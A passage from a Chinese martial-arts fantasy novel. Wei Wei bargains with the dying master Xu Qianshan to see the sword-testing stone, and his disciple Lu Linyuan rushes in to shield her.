“我要是能把他囚禁起来就好了。” 魏危想起之前种种,比如陆临渊肩上的伤,直白开口问。 “还有,陆临渊与你的关系好像也谈不上很好。” “陆临渊知道你快死了么?” “临渊……” 徐潜山尾音如同一丝极细的线,吊着千钧重的船头。 然而船很快随波而去,这线不知什么时候断裂在风中,沉默了。 “他不知道。” 徐潜山最终只这么说。 “他大约恨我。” “……” 他们这一对师徒还真够奇怪的。 魏危无意介入他们师徒之间的因果,她不忘来儒宗的初心,眯起眼睛问徐潜山:“我回答了你这么多问题,我也想问你一件事。” 魏危:“陆临渊的功夫是否和试剑石有关?” 徐潜山眼中神色不明:“是。” 魏危:“那我要见试剑石。” 徐潜山仿佛早就料到了这个要求,很快点了点头:“可以。” “你答应地这么爽快,”魏危点了点桌子,“我都要怀疑试剑石背后是不是有什么阴谋了。” 徐潜山神色平静:“我也不是全无要求。” 魏危挑了挑眉。 儒宗四处掌灯,遥远的灯火忽明忽暗,而在坐忘峰,昏暗夜色逐渐侵入眸。 徐潜山对魏危说:“你要答应我一件事。” “……” “……” 彭的一声,匆匆赶到坐忘峰的陆临渊推门而入。 魏危下意识抬眼,正对上陆临渊的眼睛。 陆临渊跑得太急,怕赶不上,怕一切挽回不了,连束好的鬓发也散乱了几缕。 他穿着儒宗的青衫,跨过门槛一步一步走进来,一点声响也没有,像是踩云而行。 陆临渊目光混沌地望着魏危,看起来有些不安,他张了张口:“魏危?” 他带着君子帖,君子帖没有出鞘,但手却紧握着剑鞘。 魏危还没来得及开口说什么,只见陆临渊往前走了几步,背对自己,隔在了徐潜山与她之间。 好像这样,这世上所有风雨都落不到魏危身上。 魏危微微抬起头,看了陆临渊的背影一眼。 “临渊。” 徐潜山在陆临渊面前仿佛变了一个人,温和的神情收起,神情介于疏淡与严厉之间,有些高高在上,似笑非笑。 任谁看了,也猜不到他气数已尽。 他缓缓问:“你要为了一个百越女子,对我拔剑?”